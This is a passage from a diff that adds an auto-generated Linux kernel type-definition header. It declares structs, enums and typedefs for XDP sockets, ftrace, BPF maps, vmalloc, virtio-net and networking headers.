*dev; + struct xdp_umem *umem; + struct list_head flush_node; + struct xsk_buff_pool *pool; + u16 queue_id; + bool zc; + enum { + XSK_READY = 0, + XSK_BOUND = 1, + XSK_UNBOUND = 2, + } state; + long: 64; + struct xsk_queue *tx; + struct list_head tx_list; + spinlock_t rx_lock; + u64 rx_dropped; + u64 rx_queue_full; + struct list_head map_list; + spinlock_t map_list_lock; + struct mutex mutex; + struct xsk_queue *fq_tmp; + struct xsk_queue *cq_tmp; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; +}; + +struct xdp_ring { + u32 producer; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + u32 pad1; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + u32 consumer; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + u32 pad2; + u32 flags; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + u32 pad3; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; +}; + +struct xdp_umem_ring { + struct xdp_ring ptrs; + u64 desc[0]; +}; + +enum { + GATE_INTERRUPT = 14, + GATE_TRAP = 15, + GATE_CALL = 12, + GATE_TASK = 5, +}; + +struct idt_bits { + u16 ist: 3; + u16 zero: 5; + u16 type: 5; + u16 dpl: 2; + u16 p: 1; +}; + +struct idt_data { + unsigned int vector; + unsigned int segment; + struct idt_bits bits; + const void *addr; +}; + +struct gate_struct { + u16 offset_low; + u16 segment; + struct idt_bits bits; + u16 offset_middle; + u32 offset_high; + u32 reserved; +}; + +typedef struct gate_struct gate_desc; + +enum { + SAMPLES = 8, + MIN_CHANGE = 5, +}; + +enum energy_perf_value_index___2 { + EPB_INDEX_PERFORMANCE = 0, + EPB_INDEX_BALANCE_PERFORMANCE = 1, + EPB_INDEX_NORMAL = 2, + EPB_INDEX_BALANCE_POWERSAVE = 3, + EPB_INDEX_POWERSAVE = 4, +}; + +struct ucode_patch { + struct list_head plist; + void *data; + unsigned int size; + u32 patch_id; + u16 equiv_cpu; +}; + +struct microcode_header_intel { + unsigned int hdrver; + unsigned int rev; + unsigned int date; + unsigned int sig; + unsigned int cksum; + unsigned int ldrver; + unsigned int pf; + unsigned int datasize; + unsigned int totalsize; + unsigned int metasize; + unsigned int reserved[2]; +}; + +struct microcode_intel { + struct microcode_header_intel hdr; + unsigned int bits[0]; +}; + +struct uprobe_xol_ops; + +struct arch_uprobe { + union { + u8 insn[16]; + u8 ixol[16]; + }; + const struct uprobe_xol_ops *ops; + union { + struct { + s32 offs; + u8 ilen; + u8 opc1; + } branch; + struct { + u8 fixups; + u8 ilen; + } defparam; + struct { + u8 reg_offset; + u8 ilen; + } push; + }; +}; + +struct uprobe_xol_ops { + bool (*emulate)(struct arch_uprobe *, struct pt_regs *); + int (*pre_xol)(struct arch_uprobe *, struct pt_regs *); + int (*post_xol)(struct arch_uprobe *, struct pt_regs *); + void (*abort)(struct arch_uprobe *, struct pt_regs *); +}; + +enum rp_check { + RP_CHECK_CALL = 0, + RP_CHECK_CHAIN_CALL = 1, + RP_CHECK_RET = 2, +}; + +enum mm_cid_state { + MM_CID_UNSET = 4294967295, + MM_CID_LAZY_PUT = 2147483648, +}; + +struct clone_args { + __u64 flags; + __u64 pidfd; + __u64 child_tid; + __u64 parent_tid; + __u64 exit_signal; + __u64 stack; + __u64 stack_size; + __u64 tls; + __u64 set_tid; + __u64 set_tid_size; + __u64 cgroup; +}; + +struct kernel_clone_args { + u64 flags; + int *pidfd; + int *child_tid; + int *parent_tid; + const char *name; + int exit_signal; + u32 kthread: 1; + u32 io_thread: 1; + u32 user_worker: 1; + u32 no_files: 1; + u32 ignore_signals: 1; + long unsigned int stack; + long unsigned int stack_size; + long unsigned int tls; + pid_t *set_tid; + size_t set_tid_size; + int cgroup; + int idle; + int (*fn)(void *); + void *fn_arg; + struct cgroup *cgrp; + struct css_set *cset; +}; + +typedef int (*proc_visitor)(struct task_struct *, void *); + +struct trace_event_raw_task_newtask { + struct trace_entry ent; + pid_t pid; + char comm[16]; + long unsigned int clone_flags; + short int oom_score_adj; + char __data[0]; +}; + +struct trace_event_raw_task_rename { + struct trace_entry ent; + pid_t pid; + char oldcomm[16]; + char newcomm[16]; + short int oom_score_adj; + char __data[0]; +}; + +struct trace_event_data_offsets_task_newtask {}; + +struct trace_event_data_offsets_task_rename {}; + +typedef void (*btf_trace_task_newtask)(void *, struct task_struct *, long unsigned int); + +typedef void (*btf_trace_task_rename)(void *, struct task_struct *, const char *); + +struct vm_stack { + struct callback_head rcu; + struct vm_struct *stack_vm_area; +}; + +enum { + TRACE_CTX_NMI = 0, + TRACE_CTX_IRQ = 1, + TRACE_CTX_SOFTIRQ = 2, + TRACE_CTX_NORMAL = 3, + TRACE_CTX_TRANSITION = 4, +}; + +struct dyn_arch_ftrace {}; + +struct ftrace_func_entry { + struct hlist_node hlist; + long unsigned int ip; + long unsigned int direct; +}; + +enum { + FTRACE_FL_ENABLED = 2147483648, + FTRACE_FL_REGS = 1073741824, + FTRACE_FL_REGS_EN = 536870912, + FTRACE_FL_TRAMP = 268435456, + FTRACE_FL_TRAMP_EN = 134217728, + FTRACE_FL_IPMODIFY = 67108864, + FTRACE_FL_DISABLED = 33554432, + FTRACE_FL_DIRECT = 16777216, + FTRACE_FL_DIRECT_EN = 8388608, + FTRACE_FL_CALL_OPS = 4194304, + FTRACE_FL_CALL_OPS_EN = 2097152, + FTRACE_FL_TOUCHED = 1048576, + FTRACE_FL_MODIFIED = 524288, +}; + +struct dyn_ftrace { + long unsigned int ip; + long unsigned int flags; + struct dyn_arch_ftrace arch; +}; + +enum { + FTRACE_UPDATE_CALLS = 1, + FTRACE_DISABLE_CALLS = 2, + FTRACE_UPDATE_TRACE_FUNC = 4, + FTRACE_START_FUNC_RET = 8, + FTRACE_STOP_FUNC_RET = 16, + FTRACE_MAY_SLEEP = 32, +}; + +enum { + FTRACE_UPDATE_IGNORE = 0, + FTRACE_UPDATE_MAKE_CALL = 1, + FTRACE_UPDATE_MODIFY_CALL = 2, + FTRACE_UPDATE_MAKE_NOP = 3, +}; + +enum { + FTRACE_ITER_FILTER = 1, + FTRACE_ITER_NOTRACE = 2, + FTRACE_ITER_PRINTALL = 4, + FTRACE_ITER_DO_PROBES = 8, + FTRACE_ITER_PROBE = 16, + FTRACE_ITER_MOD = 32, + FTRACE_ITER_ENABLED = 64, + FTRACE_ITER_TOUCHED = 128, +}; + +enum { + TRACE_PIDS = 1, + TRACE_NO_PIDS = 2, +}; + +struct ftrace_mod_load { + struct list_head list; + char *func; + char *module; + int enable; +}; + +struct ftrace_func_command { + struct list_head list; + char *name; + int (*func)(struct trace_array *, struct ftrace_hash *, char *, char *, char *, int); +}; + +struct ftrace_probe_ops { + void (*func)(long unsigned int, long unsigned int, struct trace_array *, struct ftrace_probe_ops *, void *); + int (*init)(struct ftrace_probe_ops *, struct trace_array *, long unsigned int, void *, void **); + void (*free)(struct ftrace_probe_ops *, struct trace_array *, long unsigned int, void *); + int (*print)(struct seq_file *, long unsigned int, struct ftrace_probe_ops *, void *); +}; + +typedef int (*ftrace_mapper_func)(void *); + +struct trace_parser { + bool cont; + char *buffer; + unsigned int idx; + unsigned int size; +}; + +enum regex_type { + MATCH_FULL = 0, + MATCH_FRONT_ONLY = 1, + MATCH_MIDDLE_ONLY = 2, + MATCH_END_ONLY = 3, + MATCH_GLOB = 4, + MATCH_INDEX = 5, +}; + +enum { + FTRACE_MODIFY_ENABLE_FL = 1, + FTRACE_MODIFY_MAY_SLEEP_FL = 2, +}; + +struct ftrace_func_probe { + struct ftrace_probe_ops *probe_ops; + struct ftrace_ops ops; + struct trace_array *tr; + struct list_head list; + void *data; + int ref; +}; + +struct ftrace_page { + struct ftrace_page *next; + struct dyn_ftrace *records; + int index; + int order; +}; + +struct ftrace_rec_iter { + struct ftrace_page *pg; + int index; +}; + +struct ftrace_iterator { + loff_t pos; + loff_t func_pos; + loff_t mod_pos; + struct ftrace_page *pg; + struct dyn_ftrace *func; + struct ftrace_func_probe *probe; + struct ftrace_func_entry *probe_entry; + struct trace_parser parser; + struct ftrace_hash *hash; + struct ftrace_ops *ops; + struct trace_array *tr; + struct list_head *mod_list; + int pidx; + int idx; + unsigned int flags; +}; + +struct ftrace_glob { + char *search; + unsigned int len; + int type; +}; + +struct ftrace_func_map { + struct ftrace_func_entry entry; + void *data; +}; + +struct ftrace_func_mapper { + struct ftrace_hash hash; +}; + +enum graph_filter_type { + GRAPH_FILTER_NOTRACE = 0, + GRAPH_FILTER_FUNCTION = 1, +}; + +struct ftrace_graph_data { + struct ftrace_hash *hash; + struct ftrace_func_entry *entry; + int idx; + enum graph_filter_type type; + struct ftrace_hash *new_hash; + const struct seq_operations *seq_ops; + struct trace_parser parser; +}; + +struct ftrace_mod_func { + struct list_head list; + char *name; + long unsigned int ip; + unsigned int size; +}; + +struct ftrace_mod_map { + struct callback_head rcu; + struct list_head list; + struct module *mod; + long unsigned int start_addr; + long unsigned int end_addr; + struct list_head funcs; + unsigned int num_funcs; +}; + +struct ftrace_init_func { + struct list_head list; + long unsigned int ip; +}; + +struct kallsyms_data { + long unsigned int *addrs; + const char **syms; + size_t cnt; + size_t found; +}; + +struct smp_hotplug_thread { + struct task_struct **store; + struct list_head list; + int (*thread_should_run)(unsigned int); + void (*thread_fn)(unsigned int); + void (*create)(unsigned int); + void (*setup)(unsigned int); + void (*cleanup)(unsigned int, bool); + void (*park)(unsigned int); + void (*unpark)(unsigned int); + bool selfparking; + const char *thread_comm; +}; + +struct bpf_lpm_trie_key { + __u32 prefixlen; + __u8 data[0]; +}; + +struct lpm_trie_node { + struct callback_head rcu; + struct lpm_trie_node *child[2]; + u32 prefixlen; + u32 flags; + u8 data[0]; +}; + +struct lpm_trie { + struct bpf_map map; + struct lpm_trie_node *root; + size_t n_entries; + size_t max_prefixlen; + size_t data_size; + spinlock_t lock; + long: 64; + long: 64; + long: 64; + long: 64; +}; + +enum { + BPF_F_BROADCAST = 8, + BPF_F_EXCLUDE_INGRESS = 16, +}; + +enum xdp_action { + XDP_ABORTED = 0, + XDP_DROP = 1, + XDP_PASS = 2, + XDP_TX = 3, + XDP_REDIRECT = 4, +}; + +struct bpf_cpumap_val { + __u32 qsize; + union { + int fd; + __u32 id; + } bpf_prog; +}; + +struct xdp_cpumap_stats { + unsigned int redirect; + unsigned int pass; + unsigned int drop; +}; + +struct bpf_cpu_map_entry; + +struct xdp_bulk_queue { + void *q[8]; + struct list_head flush_node; + struct bpf_cpu_map_entry *obj; + unsigned int count; +}; + +struct bpf_cpu_map; + +struct bpf_cpu_map_entry { + u32 cpu; + int map_id; + struct xdp_bulk_queue *bulkq; + struct bpf_cpu_map *cmap; + struct ptr_ring *queue; + struct task_struct *kthread; + struct bpf_cpumap_val value; + struct bpf_prog *prog; + atomic_t refcnt; + struct callback_head rcu; + struct work_struct kthread_stop_wq; +}; + +struct bpf_cpu_map { + struct bpf_map map; + struct bpf_cpu_map_entry **cpu_map; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; +}; + +struct vmap_area { + long unsigned int va_start; + long unsigned int va_end; + struct rb_node rb_node; + struct list_head list; + union { + long unsigned int subtree_max_size; + struct vm_struct *vm; + }; + long unsigned int flags; +}; + +typedef unsigned int pgtbl_mod_mask; + +typedef unsigned int kasan_vmalloc_flags_t; + +enum memcg_stat_item { + MEMCG_SWAP = 43, + MEMCG_SOCK = 44, + MEMCG_PERCPU_B = 45, + MEMCG_VMALLOC = 46, + MEMCG_KMEM = 47, + MEMCG_ZSWAP_B = 48, + MEMCG_ZSWAPPED = 49, + MEMCG_NR_STAT = 50, +}; + +struct rb_augment_callbacks { + void (*propagate)(struct rb_node *, struct rb_node *); + void (*copy)(struct rb_node *, struct rb_node *); + void (*rotate)(struct rb_node *, struct rb_node *); +}; + +struct trace_event_raw_alloc_vmap_area { + struct trace_entry ent; + long unsigned int addr; + long unsigned int size; + long unsigned int align; + long unsigned int vstart; + long unsigned int vend; + int failed; + char __data[0]; +}; + +struct trace_event_raw_purge_vmap_area_lazy { + struct trace_entry ent; + long unsigned int start; + long unsigned int end; + unsigned int npurged; + char __data[0]; +}; + +struct trace_event_raw_free_vmap_area_noflush { + struct trace_entry ent; + long unsigned int va_start; + long unsigned int nr_lazy; + long unsigned int nr_lazy_max; + char __data[0]; +}; + +struct trace_event_data_offsets_alloc_vmap_area {}; + +struct trace_event_data_offsets_purge_vmap_area_lazy {}; + +struct trace_event_data_offsets_free_vmap_area_noflush {}; + +typedef void (*btf_trace_alloc_vmap_area)(void *, long unsigned int, long unsigned int, long unsigned int, long unsigned int, long unsigned int, int); + +typedef void (*btf_trace_purge_vmap_area_lazy)(void *, long unsigned int, long unsigned int, unsigned int); + +typedef void (*btf_trace_free_vmap_area_noflush)(void *, long unsigned int, long unsigned int, long unsigned int); + +struct vfree_deferred { + struct llist_head list; + struct work_struct wq; +}; + +enum fit_type { + NOTHING_FIT = 0, + FL_FIT_TYPE = 1, + LE_FIT_TYPE = 2, + RE_FIT_TYPE = 3, + NE_FIT_TYPE = 4, +}; + +struct vmap_block_queue { + spinlock_t lock; + struct list_head free; + struct xarray vmap_blocks; +}; + +struct vmap_block { + spinlock_t lock; + struct vmap_area *va; + long unsigned int free; + long unsigned int dirty; + long unsigned int used_map[16]; + long unsigned int dirty_min; + long unsigned int dirty_max; + struct list_head free_list; + struct callback_head callback_head; + struct list_head purge; +}; + +struct simple_transaction_argresp { + ssize_t size; + char data[0]; +}; + +enum utf8_normalization { + UTF8_NFDI = 0, + UTF8_NFDICF = 1, + UTF8_NMAX = 2, +}; + +struct simple_attr { + int (*get)(void *, u64 *); + int (*set)(void *, u64); + char get_buf[24]; + char set_buf[24]; + void *data; + const char *fmt; + struct mutex mutex; +}; + +struct inotify_event_info { + struct fsnotify_event fse; + u32 mask; + int wd; + u32 sync_cookie; + int name_len; + char name[0]; +}; + +struct inotify_inode_mark { + struct fsnotify_mark fsn_mark; + int wd; +}; + +struct iomap_ioend { + struct list_head io_list; + u16 io_type; + u16 io_flags; + u32 io_folios; + struct inode *io_inode; + size_t io_size; + loff_t io_offset; + sector_t io_sector; + struct bio *io_bio; + struct bio io_inline_bio; +}; + +struct iomap_writepage_ctx; + +struct iomap_writeback_ops { + int (*map_blocks)(struct iomap_writepage_ctx *, struct inode *, loff_t); + int (*prepare_ioend)(struct iomap_ioend *, int); + void (*discard_folio)(struct folio *, loff_t); +}; + +struct iomap_writepage_ctx { + struct iomap iomap; + struct iomap_ioend *ioend; + const struct iomap_writeback_ops *ops; +}; + +struct iomap_page { + atomic_t read_bytes_pending; + atomic_t write_bytes_pending; + spinlock_t uptodate_lock; + long unsigned int uptodate[0]; +}; + +struct iomap_readpage_ctx { + struct folio *cur_folio; + bool cur_folio_in_bio; + struct bio *bio; + struct readahead_control *rac; +}; + +struct bpf_iter_aux_info; + +struct mmp_struct { + __le32 mmp_magic; + __le32 mmp_seq; + __le64 mmp_time; + char mmp_nodename[64]; + char mmp_bdevname[32]; + __le16 mmp_check_interval; + __le16 mmp_pad1; + __le32 mmp_pad2[226]; + __le32 mmp_checksum; +}; + +struct fscache_cookie; + +struct policy_file { + char *data; + size_t len; +}; + +struct acomp_req { + struct crypto_async_request base; + struct scatterlist *src; + struct scatterlist *dst; + unsigned int slen; + unsigned int dlen; + u32 flags; + void *__ctx[0]; +}; + +struct crypto_acomp { + int (*compress)(struct acomp_req *); + int (*decompress)(struct acomp_req *); + void (*dst_free)(struct scatterlist *); + unsigned int reqsize; + struct crypto_tfm base; +}; + +struct comp_alg_common { + struct crypto_alg base; +}; + +struct crypto_scomp { + struct crypto_tfm base; +}; + +struct scomp_alg { + void * (*alloc_ctx)(struct crypto_scomp *); + void (*free_ctx)(struct crypto_scomp *, void *); + int (*compress)(struct crypto_scomp *, const u8 *, unsigned int, u8 *, unsigned int *, void *); + int (*decompress)(struct crypto_scomp *, const u8 *, unsigned int, u8 *, unsigned int *, void *); + union { + struct { + struct crypto_alg base; + }; + struct comp_alg_common calg; + }; +}; + +struct scomp_scratch { + spinlock_t lock; + void *src; + void *dst; +}; + +struct blk_mq_hw_ctx_sysfs_entry { + struct attribute attr; + ssize_t (*show)(struct blk_mq_hw_ctx *, char *); +}; + +struct io_rename { + struct file *file; + int old_dfd; + int new_dfd; + struct filename *oldpath; + struct filename *newpath; + int flags; +}; + +struct io_unlink { + struct file *file; + int dfd; + int flags; + struct filename *filename; +}; + +struct io_mkdir { + struct file *file; + int dfd; + umode_t mode; + struct filename *filename; +}; + +struct io_link { + struct file *file; + int old_dfd; + int new_dfd; + struct filename *oldpath; + struct filename *newpath; + int flags; +}; + +struct genradix_iter { + size_t offset; + size_t pos; +}; + +struct genradix_node { + union { + struct genradix_node *children[512]; + u8 data[4096]; + }; +}; + +struct gen_pool_chunk { + struct list_head next_chunk; + atomic_long_t avail; + phys_addr_t phys_addr; + void *owner; + long unsigned int start_addr; + long unsigned int end_addr; + long unsigned int bits[0]; +}; + +struct genpool_data_align { + int align; +}; + +struct genpool_data_fixed { + long unsigned int offset; +}; + +struct sg_page_iter { + struct scatterlist *sg; + unsigned int sg_pgoffset; + unsigned int __nents; + int __pg_advance; +}; + +struct sg_mapping_iter { + struct page *page; + void *addr; + size_t length; + size_t consumed; + struct sg_page_iter piter; + unsigned int __offset; + unsigned int __remaining; + unsigned int __flags; +}; + +enum gcry_mpi_format { + GCRYMPI_FMT_NONE = 0, + GCRYMPI_FMT_STD = 1, + GCRYMPI_FMT_PGP = 2, + GCRYMPI_FMT_SSH = 3, + GCRYMPI_FMT_HEX = 4, + GCRYMPI_FMT_USG = 5, + GCRYMPI_FMT_OPAQUE = 8, +}; + +struct msix_entry { + u32 vector; + u16 entry; +}; + +enum support_mode { + ALLOW_LEGACY = 0, + DENY_LEGACY = 1, +}; + +struct acpi_object_list { + u32 count; + union acpi_object *pointer; +}; + +struct acpi_dev_match_info { + struct acpi_device_id hid[2]; + const char *uid; + s64 hrv; +}; + +struct acpi_gpe_device_info { + u32 index; + u32 next_block_base_index; + acpi_status status; + struct acpi_namespace_node *gpe_device; +}; + +typedef acpi_status (*acpi_gpe_callback)(struct acpi_gpe_xrupt_info *, struct acpi_gpe_block_info *, void *); + +typedef u16 acpi_rs_length; + +typedef u32 acpi_rsdesc_size; + +typedef acpi_status (*acpi_walk_aml_callback)(u8 *, u32, u32, u8, void **); + +struct pnp_info_buffer { + char *buffer; + char *curr; + long unsigned int size; + long unsigned int len; + int stop; + int error; +}; + +typedef struct pnp_info_buffer pnp_info_buffer_t; + +enum { + LDISC_SEM_NORMAL = 0, + LDISC_SEM_OTHER = 1, +}; + +struct iova { + struct rb_node node; + long unsigned int pfn_hi; + long unsigned int pfn_lo; +}; + +struct iova_rcache; + +struct iova_domain { + spinlock_t iova_rbtree_lock; + struct rb_root rbroot; + struct rb_node *cached_node; + struct rb_node *cached32_node; + long unsigned int granule; + long unsigned int start_pfn; + long unsigned int dma_32bit_pfn; + long unsigned int max32_alloc_size; + struct iova anchor; + struct iova_rcache *rcaches; + struct hlist_node cpuhp_dead; +}; + +struct iova_magazine; + +struct iova_cpu_rcache; + +struct iova_rcache { + spinlock_t lock; + long unsigned int depot_size; + struct iova_magazine *depot[32]; + struct iova_cpu_rcache *cpu_rcaches; +}; + +struct iova_magazine { + long unsigned int size; + long unsigned int pfns[127]; +}; + +struct iova_cpu_rcache { + spinlock_t lock; + struct iova_magazine *loaded; + struct iova_magazine *prev; +}; + +struct flow_keys_basic { + struct flow_dissector_key_control control; + struct flow_dissector_key_basic basic; +}; + +enum xdp_mem_type { + MEM_TYPE_PAGE_SHARED = 0, + MEM_TYPE_PAGE_ORDER0 = 1, + MEM_TYPE_PAGE_POOL = 2, + MEM_TYPE_XSK_BUFF_POOL = 3, + MEM_TYPE_MAX = 4, +}; + +enum xdp_buff_flags { + XDP_FLAGS_HAS_FRAGS = 1, + XDP_FLAGS_FRAGS_PF_MEMALLOC = 2, +}; + +enum netdev_queue_state_t { + __QUEUE_STATE_DRV_XOFF = 0, + __QUEUE_STATE_STACK_XOFF = 1, + __QUEUE_STATE_FROZEN = 2, +}; + +struct rx_queue_attribute { + struct attribute attr; + ssize_t (*show)(struct netdev_rx_queue *, char *); + ssize_t (*store)(struct netdev_rx_queue *, const char *, size_t); +}; + +struct virtio_net_config { + __u8 mac[6]; + __virtio16 status; + __virtio16 max_virtqueue_pairs; + __virtio16 mtu; + __le32 speed; + __u8 duplex; + __u8 rss_max_key_size; + __le16 rss_max_indirection_table_length; + __le32 supported_hash_types; +}; + +struct virtio_net_hdr_v1 { + __u8 flags; + __u8 gso_type; + __virtio16 hdr_len; + __virtio16 gso_size; + union { + struct { + __virtio16 csum_start; + __virtio16 csum_offset; + }; + struct { + __virtio16 start; + __virtio16 offset; + } csum; + struct { + __le16 segments; + __le16 dup_acks; + } rsc; + }; + __virtio16 num_buffers; +}; + +struct virtio_net_hdr_v1_hash { + struct virtio_net_hdr_v1 hdr; + __le32 hash_value; + __le16 hash_report; + __le16 padding; +}; + +struct virtio_net_hdr { + __u8 flags; + __u8 gso_type; + __virtio16 hdr_len; + __virtio16 gso_size; + __virtio16 csum_start; + __virtio16 csum_offset; +}; + +struct virtio_net_hdr_mrg_rxbuf { + struct virtio_net_hdr hdr; + __virtio16 num_buffers; +}; + +struct virtio_net_ctrl_hdr { + __u8 class; + __u8 cmd; +}; + +typedef __u8 virtio_net_ctrl_ack; + +struct virtio_net_ctrl_mac { + __virtio32 entries; + __u8 macs[0]; +}; + +struct virtio_net_ctrl_mq { + __virtio16 virtqueue_pairs; +}; + +struct virtio_net_ctrl_coal_tx { + __le32 tx_max_packets; + __le32 tx_usecs; +}; + +struct virtio_net_ctrl_coal_rx { + __le32 rx_max_packets; + __le32 rx_usecs; +}; + +struct failover_ops { + int (*slave_pre_register)(struct net_device *, struct net_device *); + int (*slave_register)(struct net_device *, struct net_device *); + int (*slave_pre_unregister)(struct net_device *, struct net_device *); + int (*slave_unregister)(struct net_device *, struct net_device *); + int (*slave_link_change)(struct net_device *, struct net_device *); + int (*slave_name_change)(struct net_device *, struct net_device *); + rx_handler_result_t (*slave_handle_frame)(struct sk_buff **); +}; + +struct failover { + struct list_head list; + struct net_device *failover_dev; + netdevice_tracker dev_tracker; + struct failover_ops *ops; +}; + +struct ewma_pkt_len { + long unsigned int internal; +}; + +struct virtnet_stat_desc { + char desc[32]; + size_t offset; +}; + +struct virtnet_sq_stats { + struct u64_stats_sync syncp; + u64 packets; + u64 bytes; + u64 xdp_tx; + u64 xdp_tx_drops; + u64 kicks; + u64 tx_timeouts; +}; + +struct virtnet_rq_stats { + struct u64_stats_sync syncp; + u64 packets; + u64 bytes; + u64 drops; + u64 xdp_packets; + u64 xdp_tx; + u64 xdp_redirects; + u64 xdp_drops; + u64 kicks; +}; + +struct send_queue { + struct virtqueue *vq; + struct scatterlist sg[19]; + char name[16]; + struct virtnet_sq_stats stats; + struct napi_struct napi; + bool reset; +}; + +struct receive_queue { + struct virtqueue *vq; + struct napi_struct napi; + struct bpf_prog *xdp_prog; + struct virtnet_rq_stats stats; + struct page *pages; + struct ewma_pkt_len mrg_avg_pkt_len; + struct page_frag alloc_frag; + struct scatterlist sg[19]; + unsigned int min_buf_len; + char name[16]; + long: 64; + long: 64; + struct xdp_rxq_info xdp_rxq; +}; + +struct virtio_net_ctrl_rss { + u32 hash_types; + u16 indirection_table_mask; + u16 unclassified_queue; + u16 indirection_table[128]; + u16 max_tx_vq; + u8 hash_key_length; + u8 key[40]; +}; + +struct control_buf { + struct virtio_net_ctrl_hdr hdr; + virtio_net_ctrl_ack status; + struct virtio_net_ctrl_mq mq; + u8 promisc; + u8 allmulti; + __virtio16 vid; + __virtio64 offloads; + struct virtio_net_ctrl_rss rss; +}; + +struct virtnet_info { + struct virtio_device *vdev; + struct virtqueue *cvq; + struct net_device *dev; + struct send_queue *sq; + struct receive_queue *rq; + unsigned int status; + u16 max_queue_pairs; + u16 curr_queue_pairs; + u16 xdp_queue_pairs; + bool xdp_enabled; + bool big_packets; + unsigned int big_packets_num_skbfrags; + bool mergeable_rx_bufs; + bool has_rss; + bool has_rss_hash_report; + u8 rss_key_size; + u16 rss_indir_table_size; + u32 rss_hash_types_supported; + u32 rss_hash_types_saved; + bool has_cvq; + bool any_header_sg; + u8 hdr_len; + struct delayed_work refill; + bool refill_enabled; + spinlock_t refill_lock; + struct work_struct config_work; + bool affinity_hint_set; + struct hlist_node node; + struct hlist_node node_dead; + struct control_buf *ctrl; + u8 duplex; + u32 speed; + u32 tx_usecs; + u32 rx_usecs; + u32 tx_max_packets; + u32 rx_max_packets; + long unsigned int guest_offloads; + long unsigned int guest_offloads_capable; + struct failover *failover; +}; + +struct cpu_dbs_info { + u64 prev_cpu_idle; + u64 prev_update_time; + u64 prev_cpu_nice; + unsigned int prev_load; + struct update_util_data update_util; + struct policy_dbs_info *policy_dbs; +}; + +struct virtio_crypto_sym_session_info { + __u64 session_id; +}; + +struct virtio_crypto_skcipher_ctx { + struct crypto_engine_ctx enginectx; + struct virtio_crypto *vcrypto; + struct crypto_skcipher *tfm; + struct virtio_crypto_sym_session_info enc_sess_info; + struct virtio_crypto_sym_session_info dec_sess_info; +}; + +struct virtio_crypto_sym_request { + struct virtio_crypto_request base; + uint32_t type; + struct virtio_crypto_skcipher_ctx *skcipher_ctx; + struct skcipher_request *skcipher_req; + uint8_t *iv; + bool encrypt; +}; + +struct virtio_crypto_algo { + uint32_t algonum; + uint32_t service; + unsigned int active_devs; + struct skcipher_alg algo; +}; + +enum flow_dissect_ret { + FLOW_DISSECT_RET_OUT_GOOD = 0, + FLOW_DISSECT_RET_OUT_BAD = 1, + FLOW_DISSECT_RET_PROTO_AGAIN = 2, + FLOW_DISSECT_RET_IPPROTO_AGAIN = 3, + FLOW_DISSECT_RET_CONTINUE = 4, +}; + +struct flow_keys_digest { + u8 data[16]; +}; + +struct bpf_flow_dissector { + struct bpf_flow_keys *flow_keys; + const struct sk_buff *skb; + const void *data; + const void *data_end; +}; + +enum bpf_ret_code { + BPF_OK = 0, + BPF_DROP = 2, + BPF_REDIRECT = 7, + BPF_LWT_REROUTE = 128, + BPF_FLOW_DISSECTOR_CONTINUE = 129, +}; + +enum { + BPF_FLOW_DISSECTOR_F_PARSE_1ST_FRAG = 1, + BPF_FLOW_DISSECTOR_F_STOP_AT_FLOW_LABEL = 2, + BPF_FLOW_DISSECTOR_F_STOP_AT_ENCAP = 4, +}; + +struct gre_full_hdr { + struct gre_base_hdr fixed_header; + __be16 csum; + __be16 reserved1; + __be32 key; + __be32 seq; +}; + +struct pptp_gre_header { + struct gre_base_hdr gre_hd; + __be16 payload_len; + __be16 call_id; + __be32 seq; + __be32 ack; +}; + +struct tipc_basic_hdr { + __be32 w[4]; +}; + +struct pppoe_tag { + __be16 tag_type; + __be16 tag_len; + char tag_data[0]; +}; + +struct pppoe_hdr { + __u8 type: 4; + __u8 ver: 4; + __u8 code; + __be16 sid; + __be16 length; + struct pppoe_tag tag[0]; +}; + +struct hsr_tag { + __be16 path_and_LSDU_size; + __be16 sequence_nr; + __be16 encap_proto; +}; + +struct mpls_label { + __be32 entry; +}; + +struct clock_identity { + u8 id[8]; +}; + +struct port_identity { + struct clock_identity clock_identity; + __be16 port_number; +}; + +struct ptp_header { + u8 tsmt; + u8 ver; + __be16 message_length; + u8 domain_number; + u8 reserved1; + u8 flag_field[2]; + __be64 correction; + __be32 reserved2; + struct port_identity source_port_identity; + __be16 sequence_id; + u8 control; + u8 log_message_interval; +} __attribute__((packed)); + +enum batadv_packettype { + BATADV_IV_OGM = 0, + BATADV_BCAST = 1, + BATADV_CODED = 2, + BATADV_ELP = 3, + BATADV_OGM2 = 4, + BATADV_MCAST = 5, + BATADV_UNICAST = 64, + BATADV_UNICAST_FRAG = 65, + BATADV_UNICAST_4ADDR = 66, + BATADV_ICMP = 67, + BATADV_UNICAST_TVLV = 68, +}; + +struct batadv_unicast_packet { + __u8 packet_type; + __u8 version; + __u8 ttl; + __u8 ttvn; + __u8 dest[6]; +}; + +struct nf_conn_labels { + long unsigned int bits[2]; +}; + +struct _flow_keys_digest_data { + __be16 n_proto; + u8 ip_proto; + u8 padding; + __be32 ports; + __be32 src; + __be32 dst; +}; + +enum { + BPF_F_INGRESS = 1, +}; + +struct sk_psock_link { + struct list_head list; + struct bpf_map *map; + void *link_raw; +}; + +struct bpf_stab { + struct bpf_map map; + struct sock **sks; + struct sk_psock_progs progs; + raw_spinlock_t lock; + long: 64; + long: 64; + long: 64; +}; + +typedef u64 (*btf_bpf_sock_map_update)(struct bpf_sock_ops_kern *, struct bpf_map *, void *, u64); + +typedef u64 (*btf_bpf_sk_redirect_map)(struct sk_buff *, struct bpf_map *, u32, u64); + +typedef u64 (*btf_bpf_msg_redirect_map)(struct sk_msg *, struct bpf_map *, u32, u64); + +struct sock_map_seq_info { + struct bpf_map *map; + struct sock *sk; + u32 index; +}; + +struct bpf_iter__sockmap { + union { + struct bpf_iter_meta *meta; + }; + union { + struct bpf_map *map; + }; + union { + void *key; + }; + union { + struct sock *sk; + }; +}; + +struct bpf_shtab_elem { + struct callback_head rcu; + u32 hash; + struct sock *sk; + struct hlist_node node; + u8 key[0]; +}; + +struct bpf_shtab_bucket { + struct hlist_head head; + raw_spinlock_t lock; +}; + +struct bpf_shtab { + struct bpf_map map; + struct bpf_shtab_bucket *buckets; + u32 buckets_num; + u32 elem_size; + struct sk_psock_progs progs; + atomic_t count; + long: 64; +}; + +typedef u64 (*btf_bpf_sock_hash_update)(struct bpf_sock_ops_kern *, 